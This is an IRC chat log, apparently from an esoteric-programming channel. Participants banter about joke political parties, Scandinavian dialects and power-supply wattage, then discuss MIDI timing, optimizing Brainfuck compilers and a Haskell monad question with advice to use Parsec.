01:14:40 <AnMaster> oerjan, also it was a joke fully in your style
01:15:52 <oerjan> that'll be SEK 154 in royalties, then
01:16:51 <AnMaster> oerjan, also it is a parody, thus fair use
01:17:09 <oerjan> fair use is a US-only concept
01:17:28 <AnMaster> I'm connected to a freenode server hosted in US.
01:17:38 <AnMaster> plus, Sweden does iirc have something similiar
01:18:26 <psygnisfive> what other ling stuff can i explain for you today
01:18:34 <oerjan> parodies, piratees, what's the difference
01:19:39 <oerjan> psygnisfive: sorry, my brain is full
01:20:23 <AnMaster> Bittorrent is clearly all one big parody
01:20:42 <oerjan> norway had one of those in a recent election
01:20:55 <oerjan> Det politiske parti, i think it was called
01:21:21 <AnMaster> oerjan, what did they stand for. And did they get any mandate?
01:21:31 <AnMaster> (or whatever the English word is)
01:21:34 <oerjan> they were dangerously close, or something :D
01:21:43 <AnMaster> oerjan, wow. But what did they stand for
01:22:08 <oerjan> i recall something about their representatives promising to vote according to polls
01:22:35 <ehird> Piratparodypartiet.
01:22:37 <ehird> The best of both worlds.
01:22:43 <ehird> Also alliterative.
01:22:45 <oerjan> http://no.wikipedia.org/wiki/Det_Politiske_Parti
01:23:26 <oerjan> sort of a shadow government
01:24:34 <AnMaster> "The Political Party was active only in the general election of 2001."
01:25:06 <AnMaster> oerjan, translate: "Da partiet ikke har meldt overføring til Partiregisteret, falt partinavnet ut som registrert partinavn etter stortingsvalget 2005."
01:25:43 <AnMaster> plus I want HIGH QUALITY translation
01:26:08 <Asztal> it's not too bad for closely-related languages
01:26:58 <AnMaster> "falt partinavnet ut som registrert partinavn" was the bit I failed to understand
01:27:06 <Asztal> OK, not a great translation :P
01:27:20 <Asztal> yes, google translate messes that bit up, I think
01:27:31 <oerjan> "Since the party didn't get recorded in the Party Register, the name became unregistered after parliament elections of 2005
01:27:56 <AnMaster> saying something like "killing the party's name"
01:28:35 <AnMaster> "dead parts name as a registered partys name"
01:28:53 <AnMaster> ehird, so see why I didn't use google translate
01:28:54 <lament> here in canada we have a Work Less Party
01:29:00 <lament> and today it's throwing a big party
01:29:04 <lament> the work less party party
01:29:36 <ehird> http://en.wikipedia.org/wiki/Official_Monster_Raving_Loony_Party
01:34:49 <ehird> lament: they should throw a party about that party
01:34:54 <ehird> the work less party party party
01:35:35 <oerjan> <ehird> AnMaster: 2+2=4[citation needed HAHAHAHA I'M SO WITTY I CAN REFERENCE WIKIPEDIA] <-- i cannot give a citation for that but i hear there is a good proof for 1+1=2 in Principia Mathematica
01:35:59 <ehird> i have The Principa but I'd prefer Principa Mathematica
01:36:07 <ehird> anyone want to swap?
01:36:37 <oerjan> i think technically they both have titles starting with "Principia Mathematica", don't they?
01:36:37 <ehird> http://en.wikipedia.org/wiki/Philosophiae_Naturalis_Principia_Mathematica that is
01:36:49 <ehird> i have that, and I would prefer: http://en.wikipedia.org/wiki/Principia_Mathematica
01:37:02 * oerjan doesn't have either, alas
01:37:47 <AnMaster> googling for "The Principia" gives "& Discordia" ...
01:38:14 <ehird> AnMaster: Principia Discordia.
01:38:20 <ehird> The religious text of Discordianism.
01:38:32 <AnMaster> just odd that it listed it at top
01:38:38 <AnMaster> and no I weren't logged in to gmail
01:41:13 <oerjan> AnMaster: presumably it's a big religion in sweden
01:42:16 <AnMaster> oerjan, hey I was just playing along.
01:42:28 <oerjan> you KNOW we cannot tell with you
01:42:48 <AnMaster> oerjan, thus I like to surprise you :)
01:43:01 <oerjan> also, you cannot tell with ehird, i've noticed :D
01:43:39 <AnMaster> oerjan, I can tell with you most of the time
01:45:05 <AnMaster> http://www63.wolframalpha.com/input/?i=Religion+in+Sweden
01:45:37 <AnMaster> http://www63.wolframalpha.com/input/?i=percentage+Religion+in+Sweden
01:46:39 <oerjan> only one percentage :D
01:47:00 <AnMaster> same for http://www63.wolframalpha.com/input/?i=percentages+Religion+in+Sweden
01:47:14 <ehird> bsmntbombdood: what psu usage does your machine have?
01:47:15 <AnMaster> and http://www63.wolframalpha.com/input/?i=percentages+religions+in+Sweden
01:47:17 <ehird> http://extreme.outervision.com/PSUEngine
01:47:31 <ehird> at 85% tdp, 90% load, no capacitor aging, my planned rig clocks 451W
01:47:43 <ehird> bsmntbombdood: put your components in, twiddle with tdp/load/capacitor aging, get estimated wattage back
01:47:56 <oerjan> the "Input interpretation" is identical, still one has a number...
01:48:29 <ehird> 100% tdp, 100% load, no capacitor aging: 521W
01:48:47 <AnMaster> why does W|A thinks it is a minority language
01:48:53 <ehird> that + 30% capacitor aging = 677W
01:49:05 <ehird> that + more realistic 20% = 625W
01:49:15 <oerjan> AnMaster: there may be some dispute on that point
01:49:35 <ehird> conclusion: even if you have 2xGTX285 in SLI and an i7 975 XE...
01:49:39 <ehird> you don't need 800W.
01:49:59 <oerjan> "Scanian was previously classified as a regional language by SIL International, but before the latest update, the Swedish representative to ISO/TC-37, the technical committee overseeing ISO 639, required that Scanian be removed from the ISO/DIS 639-3, the draft just prior to the final draft FDIS, or a positive vote from Sweden would not be forthcoming."
01:50:28 <oerjan> (http://en.wikipedia.org/wiki/Scanian dialects)
01:50:39 <oerjan> *(http://en.wikipedia.org/wiki/Scanian_dialects)
01:50:49 <ehird> bsmntbombdood: nuh-uh; more power in a PSU = louder, and less green.
01:50:58 <ehird> admittedly green doesn't apply for these types of systems under load
01:51:02 <ehird> but for idle web browsing and IRCing...
01:51:16 <bsmntbombdood> ehird: it's not like a bigger power supply uses more power when it's not needed...
01:51:25 <oerjan> AnMaster: google gave me a redirect and i did some broken cut/paste to get the main article name
01:51:29 <ehird> sure, but lower rating tends to = better efficiency
01:51:50 * oerjan realizes he could have copied from the "Article" tab link
01:51:55 <AnMaster> oerjan, well... Skånska isn't that far off from "main" Swedish
01:51:58 <ehird> bsmntbombdood: but seriously. all that + 30% capacitor + 100% TDP + 100% load - so if you run your system at 100% load of every single component for multiple years - you're just sucking up 677W
01:52:09 <ehird> and that's a super-high power computer
01:52:13 <AnMaster> perfectly possible to understand for someone not from Skåne
01:52:17 <ehird> conclusion: 800W+ psus are crocks. :P
01:52:36 <oerjan> AnMaster: "A language is a dialect with an army and a navy"
01:52:42 <AnMaster> oerjan, while for example Samiska is harder to understand
01:52:58 <oerjan> it is from a separate ... yes
01:53:30 <ehird> bsmntbombdood: so how do you justify >800W psus with that exactly?
01:54:36 <ehird> bsmntbombdood: dude... 2xSLI of GTX285 plus i7 975 XE plus 100% load of every single component (more or less impossible) for years, with a bordering-on-unreasonable capacitor aging value...
01:54:42 <ehird> 677W... so I don't see how 800W can be good
01:55:23 <ehird> bsmntbombdood: no, I've used many calcs + own calculations
01:55:30 <ehird> it's more-or-less correct
01:55:46 <pikhq> Hmm. In WWII, the British were really, really good at handling German spies.
01:56:03 <pikhq> All but one defected.
01:56:10 <pikhq> (that one committed suicide)
01:56:15 <ehird> bsmntbombdood: shit, you can run an i7 920 + mid-range graphics card on a ~380W psu
01:56:42 <pikhq> Half of them defected on reaching Britain -- and none of them sent messages to Germany.
01:57:00 <ehird> bsmntbombdood: you do know that the vast majority of configurations have (unrealistic) absolute peaks of ~200W?
01:57:00 <bsmntbombdood> and remember, wattage ratings are pretty much the sole comparison people have between psus == greatly inflated
01:57:19 <ehird> no, they're not inflated
01:57:27 <ehird> you can run N watts on an N watt psu, always
01:57:35 <ehird> anything else would be driven out of the market
02:37:58 <GregorR> LA LA LA LA LAAAAAAAAAAAAA
03:05:40 <Sgeo> http://goatse.cx/hello.jpg
03:06:17 <oerjan> yes, we really do want to click that link, don't we.
03:07:10 <oerjan> i cannot click it, i've got this pain down my right diodes
03:08:41 <Sgeo> oerjan, /nick Marvin ?
03:09:36 <oerjan> why should i imposter our city's dear beloved ex-major?
03:09:55 <Sgeo> What's _that_ a reference to?
03:10:15 <oerjan> http://en.wikipedia.org/wiki/Marvin_Wiseth
03:16:34 <oerjan> i guess that's as close a pronunciation as i should expect from an american
03:17:11 <GregorR> If English was good enough for Jesus, it's good enough for Sweden.
03:17:37 <GregorR> If English was good enough for Jesus, it's good enough for Norway.
03:18:28 * oerjan secretly wants to trick texas into passing a constitutional amendment that all state matters must be written in the language of Jesus
03:19:38 <oerjan> alas, there is that pesky US 1st amendment i guess
03:28:37 -!- mtd has quit ("leaving").
04:35:15 -!- oerjan has quit ("Good night").
04:42:31 <GregorR> http://codu.org/masterpiecemachine/getmidi.php?mpid=Skillfully+Level+Jig
04:52:03 -!- Corun has quit ("Leaving...").
04:58:59 -!- mtd has joined.
05:42:22 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
06:34:12 -!- bsmntbombdood has joined.
06:51:56 -!- bsmntbombdood has quit (Connection timed out).
06:53:04 -!- bsmntbombdood has joined.
07:21:27 -!- bsmntbombdood__ has joined.
07:21:46 -!- bsmntbombdood has quit (Nick collision from services.).
07:21:59 -!- bsmntbombdood__ has changed nick to bsmntbombdood.
07:38:02 -!- bsmntbombdood_ has joined.
07:51:18 -!- bsmntbombdood__ has joined.
07:53:20 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
07:57:37 -!- _bsmntbombdood has joined.
07:57:59 -!- _bsmntbombdood has changed nick to bsmntbombdood.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:07:16 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
08:08:24 -!- bsmntbombdood__ has quit (Connection timed out).
09:03:53 -!- coppro has quit (Read error: 110 (Connection timed out)).
09:08:08 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
09:30:15 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
09:39:27 -!- bsmntbombdood has joined.
09:57:57 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
09:58:18 -!- bsmntbombdood has joined.
10:16:42 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
10:17:19 -!- Corun has joined.
10:33:46 -!- ais523 has joined.
10:37:21 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
10:58:31 -!- ais523 has quit (Remote closed the connection).
11:00:27 -!- ais523 has joined.
11:02:46 -!- tombom has joined.
11:06:51 -!- tombom has quit (Client Quit).
11:09:25 -!- BeholdMyGlory has joined.
11:16:03 -!- tombom has joined.
11:16:11 -!- FireFly has joined.
11:31:03 -!- KingOfKarlsruhe has joined.
11:40:34 -!- ais523_ has joined.
11:42:39 -!- bsmntbombdood has joined.
11:49:41 -!- ais523 has quit (Nick collision from services.).
11:49:44 -!- ais523_ has changed nick to ais523.
11:59:24 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
12:05:42 -!- tombom has quit ("Peace and Protection 4.22.2").
12:19:03 -!- ais523 has quit.
12:19:13 -!- ais523 has joined.
12:28:54 -!- ais523 has quit.
12:30:07 -!- ais523 has joined.
12:39:02 -!- ais523 has quit (Remote closed the connection).
13:15:42 -!- BeholdMyGlory has quit (Remote closed the connection).
13:16:36 -!- BeholdMyGlory has joined.
13:31:32 -!- BeholdMyGlory has quit (Read error: 104 (Connection reset by peer)).
13:58:52 -!- oerjan has joined.
14:01:10 -!- Judofyr has joined.
14:04:14 -!- BeholdMyGlory has joined.
14:05:43 -!- M0ny has joined.
14:46:40 -!- Judofyr_ has joined.
14:56:19 -!- Corun has changed nick to Corun|away.
15:02:02 -!- oerjan has quit ("leaving").
15:03:48 -!- Judofyr has quit (Read error: 110 (Connection timed out)).
15:06:25 -!- Corun|away has changed nick to Corun.
15:13:02 -!- EgoBot has quit (hubbard.freenode.net irc.freenode.net).
15:13:02 -!- Gracenotes has quit (hubbard.freenode.net irc.freenode.net).
15:13:02 -!- GregorR has quit (hubbard.freenode.net irc.freenode.net).
15:13:02 -!- dbc has quit (hubbard.freenode.net irc.freenode.net).
15:39:57 -!- EgoBot has joined.
15:39:57 -!- Gracenotes has joined.
15:39:57 -!- GregorR has joined.
15:39:57 -!- dbc has joined.
15:40:43 -!- Judofyr_ has changed nick to Judofyr.
16:16:10 <GregorR> Spam subject line: "Look here or get AIDs"
16:19:24 -!- leonid_ has joined.
16:19:30 -!- leonid_ has left (?).
16:36:09 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
16:36:34 -!- GregorR has quit ("Leaving").
16:36:51 -!- GregorR has joined.
16:49:08 -!- MigoMipo has joined.
17:13:38 -!- coppro has joined.
17:21:23 -!- FireFly has quit (Remote closed the connection).
17:26:07 -!- FireFly has joined.
18:31:03 -!- coppro has quit (Read error: 110 (Connection timed out)).
18:34:23 -!- whtspc has joined.
18:40:42 -!- bsmntbombdood has joined.
18:43:02 -!- ais523 has joined.
18:44:18 -!- jix has joined.
19:04:37 -!- kar8nga has joined.
19:07:23 * SimonRC just listened to The Euphio Question on the Radio.
19:08:53 <SimonRC> It answers the Fermi paradox, with only a little reading between the lines
19:09:26 -!- whtspc_ has joined.
19:09:43 <SimonRC> also, it seems, someone has put it online: http://aofisonfire.blogspot.com/2007/08/euphio-question.html
19:11:04 <GregorR> Anybody want to write a Masterpiece with me? :P
19:11:21 <ais523> what sort of masterpiece?
19:11:39 <ais523> technically speaking, a masterpiece is something a craftsman did or made to prove they were worthy of becoming a master
19:12:02 <ais523> in which case, my masterpiece is technically speaking a compiler from bSCI to Idealized Algol
19:12:10 <GregorR> http://codu.org/masterpiecemachine/
19:12:54 <pikhq> ais523: That is impressive.
19:12:55 <ais523> GregorR: seems interesting, but not right now
19:13:04 <ais523> do people agree on tempo and key beforehand?
19:13:08 <ais523> or is that left to chance too?
19:14:48 <GregorR> ais523: Tempo is agreed on, key is chance.
19:15:04 <ais523> and time signature, likewise chance?
19:15:13 <GregorR> Time signature can't be chance due to how MIDI works.
19:15:31 <GregorR> But there's technically nothing stopping you from just ignoring the time signature in the MIDI and doing whatever TF you want :P
19:15:43 <ais523> I thought the time signature wasn't compulsory
19:15:49 <ais523> it's more a sort of comment with a defined meaning
19:16:13 <GregorR> MIDI records things like tempo in terms of quarter notes, regardless of the time signature, so it can get a bit wonky.
19:16:36 <GregorR> Which is why it works much better to just agree on a time signature ;)
19:16:48 <GregorR> We've been doing these for years, and found that setting the tempo and time signature is an E_GOODIDEA.
19:16:56 <SimonRC> I thought Midi worked in 1/128 sec
19:17:09 <GregorR> SimonRC: What a nice happy idealism :P
19:17:33 <SimonRC> GregorR: what, the story or what I just said
19:18:46 <SimonRC> does this mean that the action of concatenating two arbitrary bits of midi music is not trivial?
19:20:01 <GregorR> In a MIDI file it's nontrivial, I don't know about MIDI streams (e.g. talking to a MIDI device)
19:21:19 * SimonRC indicates that people might want to look at Haskore -- the Haskell music-manipulating library -- which can output MIDI
19:21:21 <ais523> streams don't have timing information at all
19:21:28 <ais523> so they're quite a bit easier
19:21:32 <GregorR> ais523: That's sort of what I guessed.
19:21:41 <SimonRC> how do you get notes to come on simultaneously?
19:21:53 <ais523> SimonRC: you send both the on messages at around the same time
19:21:57 <ais523> and send the off messages later
19:22:36 <SimonRC> ah, I guess the data rate is high enough that there is no noticeable delay between the on messages
19:23:36 * GregorR adds optional key to Masterpiece Machine.
19:23:45 <pikhq> SimonRC: The data rate is some 6kbps.
19:26:10 -!- whtspc_ has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
19:28:33 <fizzie> And there's that running-status thing so you can send a single "note-on" message followed by six data bytes specifying three "simultaneous" notes.
19:30:23 -!- whtspc has quit (Read error: 110 (Connection timed out)).
19:41:37 -!- KingOfKarlsruhe has left (?).
19:52:01 -!- tetha has quit (Nick collision from services.).
19:52:11 -!- tetha has joined.
20:00:52 <jix> what is the currently best optimizing bf compiler?
20:02:54 <ais523> AnMaster would probably claim in-between beats it
20:02:57 <ais523> or has it not caught up yet?
20:03:46 <AnMaster> esotope is better at most stuff. in-between is rather close to getting as good. And in a few specific cases it does better. Some constructs.
20:04:19 <ehird> 19:18:28 * oerjan secretly wants to trick texas into passing a constitutional amendment that all state matters must be written in the language of Jesus
20:04:28 <ehird> yhwh dhrhwnr kfdrfkdjnf
20:05:40 <SimonRC> does that say anythign in particular?
20:06:16 <jix> hmmm i want to write my own optimizing bf compiler
20:06:29 <jix> since my last one is a few years old
20:06:37 <ehird> SimonRC: Hebrew doesn't have vowels LAWLZ
20:06:39 <ehird> 11:16:48 <GregorR> We've been doing these for years, and found that setting the tempo and time signature is an E_GOODIDEA.
20:06:43 <ehird> it's an error good idea?
20:06:54 <ehird> also, hi SimonRC, haven't seen you talk for a while
20:06:56 <jix> and quite messy
20:07:00 <tetha> jix: including SSA-form and other hilarious overkill?
20:07:08 <SimonRC> ehird: it takes up a lot of time
20:07:26 <ehird> SimonRC: you must live very fast :P
20:07:37 <jix> tetha: i don't know what it is
20:07:45 <jix> tetha: but from the letters i'd say yes
20:07:49 -!- BeholdMyGlory has quit (Remote closed the connection).
20:08:03 <jix> i'd guess it's translating into dest = src1 op src2 operations
20:08:10 <jix> optimizing/transforming them
20:08:17 <SimonRC> ehird: I can't really do anything else if I care about missign out on IRC conversations
20:08:20 <jix> and each dest is only used once
20:08:21 <tetha> ssa == static single assignement form
20:08:40 <tetha> it simplifies some analyzations and optimizations
20:08:53 <ehird> fun fact: continuation passing style = ssa
20:10:29 -!- kar8nga has quit (Remote closed the connection).
20:15:39 -!- Sgeo has joined.
20:22:12 <MizardX> About the Billiard Ball Machine you highlighted me for a few hours ago: It doesn't have anything to do with quantum mechanics. It is just a notation the autor adopted because it probably was convenient at the time... and I don't really know anything about quantum mechanics other than a few facts about the schrödinger equation.
20:22:54 <MizardX> Well... 20 hours is a few...
20:23:00 -!- tombom has joined.
20:23:02 <ehird> *MizardX is not dead*
20:23:09 * ehird pushes those two lines together
20:25:42 <ehird> SimonRC: he said schrödinger and quantum mechanics QED.
20:26:16 <MizardX> That is how much I know about it...
20:26:52 <ehird> A MOUNTAIN OF INVISIBLE QUANTUMS
20:30:13 -!- tombom has quit ("Peace and Protection 4.22.2").
20:31:50 -!- tombom has joined.
20:34:54 -!- tombom has quit (Client Quit).
20:44:37 -!- olsner has joined.
20:57:14 -!- Slereah has joined.
20:59:41 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)").
21:12:03 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
21:12:37 -!- GuestGoldenDog has joined.
21:16:08 -!- Slereah has quit (Read error: 104 (Connection reset by peer)).
21:16:09 -!- GuestGoldenDog has quit (Read error: 104 (Connection reset by peer)).
21:20:54 -!- BeholdMyGlory has joined.
21:21:09 -!- GuestGoldenDog has joined.
21:21:10 -!- GuestGoldenDog has quit (Remote closed the connection).
21:21:24 -!- GuestGoldenDog has joined.
21:21:39 -!- GuestGoldenDog has changed nick to Slereah.
21:24:13 -!- Slereah has quit (Read error: 104 (Connection reset by peer)).
21:24:26 -!- Slereah has joined.
21:37:21 -!- psygnisfive has joined.
22:00:45 -!- oerjan has joined.
22:02:53 <tetha> hm, implementing context-transforming automatas is charming and would reduce the implementation of a lot of esoteric languages to very few lines
22:04:07 <tetha> oerjan: basically you could transform a program into it's control flow graph, annotate that with implementations of the basic operations and tell it to evaluate with a base context
22:06:43 * oerjan realizes his brain is in that horrible mush state again
22:07:19 <tetha> SimonRC: e.g. brainfuck: you need a parser, a representation of the state (tape + head position) and an implementation for each opcode and you're done, given this library
22:07:30 <oerjan> the tiniest irritating noise, and it becomes _painful_ to think
22:09:00 <oerjan> tetha: sounds pretty much like how i do tiny interpreters in haskell
22:09:10 <ehird> 22:04 tetha: oerjan: basically you could transform a program into it's control flow graph, annotate that with implementations of the basic operations and tell it to evaluate with a base context ← that's hot.
22:09:16 <tetha> oerjan: pretty much, yes
22:09:17 <ehird> oklopol would be all over that
22:13:11 <jix> the bf compiler i work on is/will be written in haskell
22:13:23 <oerjan> <ehird> SimonRC: Hebrew doesn't have vowels LAWLZ
22:13:36 <oerjan> the language of Jesus was probably aramaic, not hebrew
22:13:44 <ehird> aramic is a derivative of hebrew
22:13:47 <ehird> "Pirate Party Wins and Enters The European Parliament"
22:14:05 <oerjan> although they are both semitic languages, so probably similar writing principles
22:14:23 <jix> the german pirate party didn't make it
22:14:43 <oerjan> ehird: not derivative, sister language
22:15:04 <ehird> jix: not surprising; Sweden's a lot more liberal
22:15:43 <jix> ehird: at leat in my city it was the strongest non etablished party
22:16:03 <tetha> in luebeck, it horribly lost :(
22:16:06 <jix> they got a bit over 1% here
22:16:53 <ehird> european parliament
22:17:04 <tetha> at least SOME sane people in there
22:17:26 <jix> tetha: in luebeck they are on place 6 too
22:18:06 <tetha> oh. curse you, firefox cache
22:18:19 <jix> tetha: you live in luebeck?
22:18:30 <jix> cool i'm going to move there later this year
22:18:51 <jix> are you studying there?
22:19:02 <tetha> yes, computer science, second master term
22:20:00 <jix> will start computer science there
22:20:17 <tetha> so you will have some saner study plan
22:25:39 <FireFly> The Pirate Party will get one spot, yeah
22:26:04 <SimonRC> has anyone read much of the VPRI's stuff?
22:26:48 <ehird> SimonRC: cola language ya mean?
22:26:57 -!- Slereah has quit.
22:27:01 <ehird> always been too buzzwordy and all-encompassing when I've looked at it
22:28:58 <SimonRC> first I thought that it would be nice for the language parser to be available to me, or rather for all its parts to be available to build new specialised parsers from
22:29:24 <SimonRC> then I realised that the smug you-know-what weenies have been going on about this for decades
22:29:41 <SimonRC> and indeed the non-smug non-weenie ones
22:30:03 <SimonRC> but the problem I see now in Java is partly attitude
22:30:13 -!- Slereah has joined.
22:30:38 <SimonRC> they don't want to add things like lambdas even though the JVM would suport them
22:31:05 <SimonRC> and quite recently I have found a reasonable use for run-time compilation
22:52:57 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:08:03 -!- coppro has joined.
23:28:30 <jix> anyone knows some haskell here? ... is there something like a monad... except an operator like >>= but with type M a -> (a -> M a) -> M a instead of M a -> (a -> M b) -> (M b)
23:29:09 <jix> like a monad where a computation can't change the type
23:29:32 <oerjan> obviously you can define such a thing
23:29:49 <jix> but if there is a typeclass for such things already
23:29:54 <jix> i'd use that
23:30:01 <oerjan> note however that then you cannot change the a at all within a single composed computation
23:30:46 <oerjan> so it's really sort of M -> (a -> M) -> M
23:31:31 <oerjan> where you just happen to be able to parametrize on A
23:32:02 <SimonRC> can you express it as a comonad?
23:32:02 <oerjan> could be swapped into (A -> M) -> M -> M
23:32:15 <oerjan> i cannot quite think of anything
23:33:36 <oerjan> SimonRC: comonads still have varying a and b, just in the "other direction"
23:33:36 <SimonRC> things that look a bit like monads but aren't sometimes turn out to be comonads
23:33:41 <jix> it's like a special case of a monad
23:33:59 <oerjan> a state transition seems a bit similar
23:34:19 <oerjan> like, just the state part of a State monad, but without the return value
23:35:08 <oerjan> in fact there is a generalization of "parametrized" monads just to be able to do things like changing the state type during a state monad computation
23:35:13 <jix> hmmm if such a thing exists
23:35:27 <jix> every monad is such a thing
23:35:45 <jix> (exists as in is in the haskell "stdlib")
23:35:45 <oerjan> so State a (), for example
23:35:59 <oerjan> or StateT a m () for any monad m
23:36:31 <oerjan> hm wait that also gives a state out
23:36:51 <jix> and it would make sense to define things which touch only one type... like return for it instead of monad
23:36:54 <jix> but that isn't the case
23:37:02 <jix> so i assume it isn't there
23:37:33 <jix> i need it for a thing that stores multiple values
23:37:39 <oerjan> it sort of requires functional dependency M -> A
23:37:40 <jix> and i want to do computations to some of them
23:37:50 <jix> but not all
23:39:13 <oerjan> jix: but in a sense your M a's do contain a's in them?
23:40:55 <jix> can't be i'm the first who needs something like that
23:42:10 <jix> it would make sense to move everything of monad that has just one free type (or whatever they are called) into that thing
23:42:27 <jix> and define the things with more than one free type for it with a different name
23:42:31 <jix> then make monad an instance of it
23:42:32 <oerjan> well the question is why can't you just use a monad?
23:42:35 <SimonRC> this may sound like a dumb question...
23:43:00 * oerjan swats SimonRC for his stupidity -----###
23:43:13 <jix> SimonRC: i asked that question myself
23:44:02 <jix> oerjan: take the list monad
23:44:14 <jix> oerjan: you want >>= to apply only to the first element instead of all
23:44:20 <jix> but keep all the other elements
23:44:26 <jix> that's what i need exactly
23:44:44 <oerjan> jix: also, haskell's type classes don't support making every instance of an older type class into an instance of a newer without problems
23:45:01 <oerjan> jix: that example has nothing to do with _types_
23:45:17 <oerjan> only position, which is not a type thing
23:45:17 <jix> oerjan: well try to implement >>= for it
23:45:37 <jix> and you'll see the problem
23:45:43 <oerjan> huh? well apart from >>= already being defined for lists
23:45:48 <jix> you can't keep the elements you wan't to stay there
23:45:51 <jix> because they have the type a
23:45:58 <jix> where they should have the type b after >>=
23:46:14 <oerjan> oh ... i see, you want to _keep_ the others
23:46:53 <oerjan> you could do that by using "id" as what you did to the others
23:47:30 <jix> oerjan: nope
23:47:31 <jix> because i only have one >>=
23:48:01 <oerjan> something like it should work
23:49:04 <oerjan> this would of course totally break the monad laws, even restricted to a single type
23:49:28 <jix> uhm i'm pretty sure what i want to do follows the monad laws
23:52:07 <jix> (when restricted to a single type)
23:52:07 <oerjan> does it? (x >>= f) >>= g == x >>= (\a -> f a >>= g) ?
23:52:07 -!- olsner has quit ("Leaving").
23:52:07 <oerjan> is the "do only to first element" a relevant example?
23:52:07 <jix> it is exactly what i want
23:52:07 <ehird> jix: erm isn't this just a monad where the return type = the input type?
23:52:15 <jix> ehird: yeah
23:52:36 <ehird> butt :: m a -> (a -> m a) -> m a; butt = (>>=)
23:52:41 <oerjan> ehird: his problem is he cannot make it an actual monad instance
23:53:19 <ehird> class MonadBondage m where zoop :: a -> m a; butt :: m a -> (a -> m a) -> m a
23:53:42 <oerjan> ehird: he wants to know if it fits into something already existing
23:53:48 <jix> oerjan: no
23:54:00 <jix> oerjan: or i got you wrong
23:54:06 <ehird> it's like monad w/o functor
23:54:13 <oerjan> jix: then what the heck do you want
23:54:24 <oerjan> ehird: applicative subclasses functor
23:56:12 <jix> http://nopaste.com/p/aG1fE2Xa4 << this
23:56:12 <oerjan> jix: i think State [a] a is pretty close
23:56:12 <jix> (it doesn't work of course)
23:59:18 -!- BeholdMyGlory has quit (Remote closed the connection).
23:59:18 -!- nooga has joined.
23:59:18 <oerjan> what is the use of this?
23:59:34 <nooga> also, shoe on head
23:59:35 <jix> oerjan: i thought it would be a nice way to do the simple parsing stuff i have to do here
23:59:49 <nooga> jix: what are you up to?
00:00:02 <jix> nooga: writing a brainfuck compiler, optimizing
00:00:09 <nooga> ah, another one? ;d
00:00:15 <oerjan> jix: can you give an example code of how you would use this if it actually worked?
00:01:47 <jix> ehird: uhm overkill for sure
00:01:47 <jix> i'm talking about parsing brainfuck
00:01:47 <ehird> jix: it's so simple...
00:01:47 <ehird> loop = do char '['; instructions <- many bf; char ']'; return instructions
00:01:47 <nooga> RDParser is good ;d
00:01:47 <ehird> jix: how's that overkill?
00:01:47 <ehird> it's in the base library, y'know
00:01:47 <ehird> nooga: that's a stupid ruby thing.
00:01:47 <nooga> but it's not bloated
00:01:51 <jix> nooga: i'm not going to use ruby for this task
00:02:18 <ehird> jix: trust me, parsec will make you happy ;)
00:02:18 <nooga> jix: write brainfuck compiler in brainfuck
00:02:18 <jix> ehird: well it would have been a 3 liner or so with this thing
00:02:18 <AnMaster> jix, are you aiming to be better than esotope?
00:02:35 <ehird> jix: plus the 30 line overhead
00:04:53 <ehird> jix: a bf parser is a 3-liner w/ parsec too
00:04:53 <jix> ehird: yeah but i don't know how to use parsec yet
00:04:53 <ehird> jix: you just need a few simple things:
00:04:53 <nooga> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
00:04:53 <pikhq> Brainfuck parsing is trivial...
00:04:53 <ehird> but parsec is trivial too
00:04:53 <nooga> MY MAC MINI DROWNED IN TEA
00:04:53 <ehird> and is the easiest, best way to handle this
00:04:53 <nooga> but hmm, still working
00:04:53 <AnMaster> I'm doing a simple recursive decent one whenever I parse BF
00:04:53 <GregorR> A good BF competition would be to write a program in BF that optimizes the /time/ efficiency of BF programs.
00:04:53 <nooga> am I still here? :D
00:04:53 <ehird> GregorR: Big O, you mean?
00:04:53 <pikhq> GregorR: Loop unrolling! :D
00:04:53 <ehird> nooga: do not sacrilege Steve-O again or you shall die.
00:04:53 <GregorR> ehird: Number of steps when run with some hidden input, I mean. pikhq: And yeah, loop unrolling would be big.
00:04:53 <nooga> ehird: what 'sacrilege' means?
00:04:53 <GregorR> e.g. the program ++[>++<-] might become >++++
00:04:53 <ehird> nooga: press control-command-d while hovering over it
00:04:53 <ehird> tada! instant dictionary
00:04:53 <AnMaster> GregorR, because any optimising BF->C will probably reduce the O(n)
00:04:53 <ehird> (that works in all OS X apps)
00:05:02 <GregorR> AnMaster: I was just talking about a BF optimizer, not an optimizing BF-to-bleh-izer.
00:05:04 <nooga> ehird: that was magical
00:05:18 <nooga> ehird: OS X provides this or what?
00:05:31 <AnMaster> GregorR, actually you could hook up a BF backend to either esotope or in-between I think
00:05:44 <nooga> omfg omfg, this makes me love that little computer
00:05:59 <AnMaster> GregorR, would probably be a "pessisation" for that though...
00:06:23 <AnMaster> GregorR, I "issed" a bit there ;P
00:06:35 <pikhq> Loop unrolling! :D
00:06:45 <AnMaster> pikhq, sure. But loops can be shorter sometimes
00:07:00 <GregorR> Uh oh, pikhq is broken. He can only say "Loop unrolling! :D"
00:07:00 <pikhq> AnMaster: But rarely are they type efficient.
00:07:22 <pikhq> I've had 4 hours of sleep. Bite me.
00:07:33 <GregorR> I prefer my sacrifices to be rested.
00:07:35 <nooga> ehird: can I install Polish for that dictionary?
00:07:51 <ehird> nooga: open Dictionary.app
00:07:56 <ehird> and hit Cmd-, for preferences
00:07:57 <AnMaster> and ehird, I will remember to show you some pics of Lapland when i get back. Are you happy with 14 MB mrw images?
00:08:17 <ehird> it seems you can add dictionaries to it
